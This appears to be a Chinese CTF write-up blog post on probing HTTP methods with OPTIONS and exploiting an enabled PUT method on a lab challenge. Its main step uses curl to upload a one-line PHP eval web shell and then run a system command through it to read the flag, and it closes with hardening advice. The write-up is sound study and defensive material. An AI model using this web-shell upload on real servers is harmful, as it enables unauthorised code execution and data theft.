HTTP 方法枚举与 PUT 风险:从 OPTIONS 探测到配置加固

Lee

文章状态:待复验
本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场,请勿用于未授权目标。

学习目标

  • 理解 OPTIONS 响应与 Allow 头的意义
  • 识别 PUT 风险成立所需的写入和执行条件
  • 从服务端配置角度限制不必要的 HTTP 方法

实验说明

  • 难度:中级
  • 范围:本地或公开授权靶场
  • 复验状态:正文已完成格式迁移,关键结论将在后续使用固定环境重新验证

原始实验记录

通过发送 OPTIONS 请求来探测服务器支持的 HTTP 方法。

示例环境:[NSSRound#1 Basic] basic_check

实验截图 1
实验截图 1

页面直接返回了当前 PHP 源码,常规请求都会被应用逻辑拦截并返回相同内容。

题目标签指向 HTTP 协议与中间件配置,因此先从服务器允许的请求方法入手。

HTTP 方法枚举

除常见的 GET(获取资源)和 POST(提交数据)外,本实验还关注 PUT(创建或覆盖资源)、DELETE(删除资源)与 OPTIONS(查询服务器支持的方法)。

1
2
3
4
5
6
7
curl -X PUT http://xxx.com          # 发送 PUT 请求
curl -X POST http://xxx.com # 发送 POST 请求
curl -X OPTIONS http://xxx.com # 发送 OPTIONS 请求
curl -X DELETE http://xxx.com # 发送 DELETE 请求

-X:告诉curl用哪种http方法
-d:发送的请求里携带了什么数据

使用 curl 发送 OPTIONS 请求后,服务器可能通过 Allow 响应头列出支持的方法:

1
Allow: GET, POST, OPTIONS, PUT  #列举服务器允许的http请求方式

由于动态页面始终返回源码,本实验改用静态路径验证方法配置和文件写入行为。

实验截图 2
实验截图 2

响应表明服务器开放了四种请求方法。

PUT攻击

继续验证 PUT 是否真正具备写入能力。服务器返回 201 Created,说明测试文件已经创建。

实验截图 3
实验截图 3

写入成功

实验截图 4
实验截图 4

在授权靶场中,随后验证文件写入能否进一步形成代码执行。以下目标域名已经脱敏:

1
2
3
4
5
6
7
# 写入仅用于授权靶场验证的测试文件
curl -X PUT http://authorized-lab.local/shell.php -d "<?php eval(\$_POST[1]);?>"
# 在靶场内验证代码执行
curl -X POST http://authorized-lab.local/shell.php -d "1=system('tac /f*');"

# POST 请求体中传入参数 1
# system 函数会把字符串作为系统命令执行并返回输出

防御与复盘

  • 仅开放业务实际需要的 HTTP 方法,并在反向代理与应用层同时校验。
  • 上传或写入目录与可执行目录分离,避免文件写入直接演变为代码执行。
  • 记录异常 OPTIONS、PUT、DELETE 请求,并结合来源、路径和响应状态进行告警。

原文出处

  • 标题: HTTP 方法枚举与 PUT 风险:从 OPTIONS 探测到配置加固
  • 作者: Lee
  • 创建于 : 2026-08-04 14:44:27
  • 更新于 : 2026-09-04 00:00:00
  • 链接: https://leeei.site/2026/08/04/HTTP方法枚举与PUT风险/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
HTTP 方法枚举与 PUT 风险:从 OPTIONS 探测到配置加固